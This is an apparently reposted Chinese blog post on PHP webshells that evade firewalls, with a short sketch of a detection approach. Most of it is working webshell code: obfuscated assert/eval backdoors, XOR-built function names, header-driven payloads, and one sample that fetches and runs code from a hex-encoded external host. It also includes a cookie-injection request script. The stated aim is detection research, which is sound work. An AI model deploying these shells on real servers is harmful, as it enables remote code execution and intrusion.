佳木斯湛栽影视文化发展公司

主頁 > 知識庫 > PHP常見過waf webshell以及最簡單的檢測方法

PHP常見過waf webshell以及最簡單的檢測方法

熱門標簽:銀行業(yè)務(wù) Mysql連接數(shù)設(shè)置 阿里云 科大訊飛語音識別系統(tǒng) 服務(wù)器配置 Linux服務(wù)器 電子圍欄 團購網(wǎng)站

前言

之前在Webshell查殺的新思路中留了一個坑 ️,當時沒有找到具體找到全部變量的方法,后來通過學(xué)習找到了個打印全部量的方法,并再次學(xué)習了下PHP webshell繞過WAF的方法,以此來驗證下此方法是否合理。

如有錯誤,還請指出,不勝感激! :turtle:拜

在那篇文章中我突然想到一種檢測webshell的方法,就是首先獲取到當前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據(jù)正則庫進行靜態(tài)檢測。

自認為這種方法雖然會檢測不完全(每個檢測機制都不能保障全部有效),但是感覺非常簡單、實用,也沒那么多高深的道理。

為了驗證該檢測機制,首先了解下目前PHP webshell繞過WAF的方法。

常見繞過WAF的PHP webshell

字符串變形

大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾

?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自寫函數(shù)

利用 assert()

?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回調(diào)函數(shù)

?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔術(shù)方法、析構(gòu)函數(shù) __destruct() , __construct()

?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等發(fā)起網(wǎng)絡(luò)請求再結(jié)合 file_get_contents

?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

無字符特征馬

編碼、異或、自增

?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊請求頭

利用 getallheaders()

?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局變量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami為例

就是將函數(shù)名、變量名全部變成”亂碼”,且改動任意一個地方,都將導(dǎo)致文件不能運行。具體可訪問: https://www.phpjiami.com/

PHP webshell檢測方法

目前我所了解的webshell檢測方式有:

  1. 機器學(xué)習檢測webshell:比如混淆度、最長單詞、重合指數(shù)、特征、壓縮比等
  2. 動態(tài)檢測(沙箱)
  3. 基于流量模式檢測webshell:agent
  4. 逆向算法+靜態(tài)匹配檢測webshell:比如D盾webshell查殺
  5. 根據(jù)文件入度出度來檢測

實例展示

這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

可以明顯看到明顯的webshell規(guī)則了,這樣再用靜態(tài)規(guī)則、正則等即可輕松檢測到。

簡單檢測思路

檢測思路:

文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態(tài)規(guī)則匹配臨時文件->返回匹配結(jié)果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是諸如下列的靜態(tài)檢測規(guī)則

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習或者工作具有一定的參考學(xué)習價值,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • PHP實現(xiàn)webshell掃描文件木馬的方法
  • 一個ASP.Net下的WebShell實例
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • Webshell基礎(chǔ)知識深入講解

標簽:萍鄉(xiāng) 衢州 衡水 蚌埠 大理 棗莊 廣元 江蘇

巨人網(wǎng)絡(luò)通訊聲明:本文標題《PHP常見過waf webshell以及最簡單的檢測方法》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    荣成市| 清水河县| 旬阳县| 新丰县| 始兴县| 黔西县| 贵州省| 浦县| 远安县| 彰武县| 壤塘县| 九江市| 松桃| 金寨县| 张掖市| 开化县| 甘泉县| 运城市| 德安县| 吉林省| 宁武县| 晋城| 石门县| 兴国县| 天柱县| 六枝特区| 观塘区| 洪江市| 克山县| 长阳| 石阡县| 朝阳县| 固原市| 明溪县| 通化市| 砚山县| 巩义市| 越西县| 伊吾县| 东山县| 彭山县|